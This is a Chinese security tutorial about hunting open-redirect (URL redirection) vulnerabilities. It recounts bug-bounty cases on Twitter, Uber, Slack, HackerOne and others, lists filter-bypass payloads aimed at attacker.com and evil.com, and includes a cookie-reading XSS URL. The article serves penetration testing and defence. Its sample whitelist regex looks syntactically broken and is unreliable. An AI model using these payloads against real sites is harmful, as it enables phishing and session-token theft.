前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >URL跳转(开放重定向)挖掘技巧及实战案例全汇总

URL跳转(开放重定向)挖掘技巧及实战案例全汇总

作者头像
Jayway
发布2019-09-29 17:25:09
11.2K0
发布2019-09-29 17:25:09
举报
文章被收录于专栏:卓文见识卓文见识

1、概念:

开放重定向(Open Redirect),也叫URL跳转漏洞,是指服务端未对传入的跳转url变量进行检查和控制,导致诱导用户跳转到恶意网站,由于是从可信的站点跳转出去的,用户会比较信任。URL形如:

https://example.com/login?return=https://mysite.com/,后端代码形如:

response.sendRedirect(request.getParameter("url"))。

2、漏洞原理:

URL跳转三种实现方式:

  • META标签内跳转
  • javascript跳转
  • header头跳转

观察响应包,每种跳转方式对应的漏洞和利用方法也不同。

漏洞产生原因:

1. 代码层忽视URL跳转漏洞,或不知道/不认为这是个漏洞;

2. 代码层过滤不严,用取子串、取后缀等方法简单判断,代码逻辑可被绕过;

3. 对传入参数操作(域名剪切/拼接/重组)和判断不当,导致绕过;

4. 原始语言自带的解析URL、判断域名的函数库出现逻辑漏洞或者意外特性;

5. 服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致被绕过;

3、漏洞危害

URL跳转漏洞本身属于低危漏洞,但可以结合其他漏洞加以深入利用,主要的利用方式不仅限于钓鱼攻击,包括:

  • xss漏洞:通过javascript:alert(0)或CRLF;
  • 获取用户权限(伪造钓鱼网站、窃取登录凭证token);
  • 绕过检测(窃取CSRF token,绕过SSRF、RCE黑名单);
  • 高级利用方法(配合其他功能/漏洞)。

利用姿势不局限于上述几种,不要思维定势,具体看下面的实例。

4、实战案例

1、登录后重定向泄露会话令牌

redirect_url参数未经任何过滤,在登录后界面,请求链接:

https://mijn.werkenbijdefensie.nl/login?redirect_url=https://google.com,页面会被重定向到:

https://www.google.com/?user=xxx&token=xxxx&channel=mijnwerkenbijdefensie

导致用户ID和会话令牌泄露,从而接管整个账号。

Tips:关注登录后的登录请求url。

2、hboeck登录重定向及绕过

登录处重定向,访问:

https://tt.hboeck.de/public.php?return=http%3a%2f%2fevil.com%2f&op=login&login=password=&profile=0

随后hboeck修复了这个漏洞,但可以通过添加//进行绕过:

https://tt.hboeck.de/public.php?return=%2f%2f%2fevil.com%2f&op=login&login=password=&profile=0

Tips:有过滤时可以尝试多加一个或几个/。

3、chaturbate购买成功重定向

在购买成功后页面会发生跳转,但对于参数prejoin_data未做验证,访问:

https://64.38.230.2/tipping/purchase_success/?product_code=4137&prejoin_data=domain%2Fevil.com,页面会被重定向到:

https://evil.com/tipping/purchase_success/?product_code=4137。

Tips:关注业务结束后的跳转,这是容易忽视的一个测试点。

4、Hackerone特殊的跳转

当用户访问:

www.hackerone.com/index.php/index.phpxyz时用户将被重定向到www.hackerone.comxyz

访问链接:

http://www.hackerone.com/index.php/index.php.evil.com,用户将被重定向到www.hackerone.com.evil.com。所以每个系统的跳转机制不一样,在渗透时要尽量尝试各种可能发生跳转的请求。

5、Twimg重定向

Twitter 视频链接处:

https://t.lv.twimg.com/live_video_stream/authorized_status/883213898672783361/LIVE_PUBLIC/DEHOXIMUQAEbRFW?url=https://google.com/&ctx...&noredirect=false

关注参数&noredirect=,将参数从true改为false,可以重定向到任意站点。

Tips:关注任何场景下请求中的布尔型参数。

6、Twitter xss

访问Twitter链接:

https://dev.twitter.com/https:/%5cblackfan.ru/,页面回显为:

观察回显在返回头和返回主体,构造payload:

https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/

7、Digits callback_url参数绕过

Digits在登录成功后会通过HTTP 302重定向到业务界面,将登录凭证通过callback_url回调:

https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https://www.digits.com&callback_url=https://www.periscope.tv若修改修改此参数为attacker.com,域名不在注册域内,系统会拒绝访问,此时可通过fuzzing探测后端检测机制,看是否可以绕过。

经测试发现系统只验证host值,一个常用的技巧是通过@绕过,@符之前的为认证凭据,@后为主机名,没有绕过。但经测试如果URL中包含一个ASCII码,会将非ASCII码转为?,这里输入https://attacker.com%ff@www.periscope.tv,可以成功绕过检测,?后的内容都会被解析为参数,从而跳转到attacker.com

8、Uber跳转的奇技淫巧

这是Orange发现的一个漏洞,这里写一下发现,扩展思路:

Uber内发现一个跳转链接:

http://pages.et.uber.com/Redirect.aspx?EQ=5c591a.....2406bd798a7f8312fde3acd3757bd120dfa0e40f3acb1e99e66c

EQ参数显然是加密后的参数,看起来像CBC模式加密,块大小是8,然后发现另一个链接:

https://pages.et.uber.com/hangzhou1year/?uuid=1234

在请求这个页面的时候,查看源代码会发现它的链接为:

https://pages.et.uber.com/Redirect.aspx?EQ=5c591a8916642e73e...d798a7f8312fde3acd3757bd120dfa025d290b1cf9a6e85

所以我们可以把要跳转的@attacker.com/?在此处进行加密,粘贴到参数处,最终跳转地址形如:https://uber.com@attacker.com/?a=1,成功跳转。

进一步可以触发xss:

data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Tips:跳转功能参数可能经过加密,尝试发现encode算法。

9、upload导致的重定向

Slack存在重定向漏洞:https://slack.com/checkcookie?redir=http://www.example.com,后成功修复,但存在文件上传功能,上传redirect.svg:

获取文件链接:

https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489,用户点击连接,重定向到example.com。

这里也可以上传一个完整的html文件达到相同攻击效果:

10、Xss导致的重定向

一次对xss的挖掘过程中,发现输入的字符<>都做了过滤,只剩双引号:

这里输入payload:

1;url=http://www.baidu.com"http-equiv="refresh,meta标签内闭合双引号,成功定向到baidu:

5、挖掘技巧

在实际渗透过程中,可以在抓包历史中搜索返回状态码为302的请求包,业务层面,根据之前的挖掘经验,大多数的跳转漏洞都发生在登录功能处,其他存在漏洞的功能处有:注册、注销、改密,第三方应用交互,页面切换,业务完成跳转、返回上级、账号切换、保存设置、下载文件等等。

总体来讲,要观察哪些功能需要进行跳转,并关注任何涉及跳转操作的URL,常见的参数值有return、redirect、url、jump、goto、target、link、callback等,输入任意URL地址看是否可以任意跳转,若后台进行过滤,探测过滤算法,尝试过滤绕过。

6、过滤绕过

首先要确定系统的过滤规则,进行针对性的绕过,简单列举几个实用的方法:

1、/\attacker.com;

2、// attacker.com或//// attacker.com;

3、whitelist.com@ attacker.com;

4、//%2F/attacker.com

5、# attacker.com或? attacker.com

6、更改url形式:ip、进制数、更换/缺失协议

7、白名单检测绕过:

1)结合上传等功能,链接到域内地址;

2)利用超链接,搜索引擎或二级参数,如hackerone的外链跳转案例:

7、防御手段

1、最有效的方法之一就是使用白名单严格控制将要跳转的域名,如:

function checkURL ( sURL) {

return(/^(https?:\/\/)?[\w-.]+.(yourDomainA|yourDomainB|yourDomainC).com($|\/|\)/i).test(sUrl)||(/^[\w][\w\/.-_%]+$/i).test(sUrl)||(/^[\/\][^\/\]/i).test(sUrl)? true : false;}

2、限制referer、添加token,这样可以避免恶意用户构造跳转链接进行散播;

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、概念:
  • 2、漏洞原理:
  • 3、漏洞危害
  • 4、实战案例:
  • 5、挖掘技巧
  • 6、过滤绕过
  • 7、防御手段
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档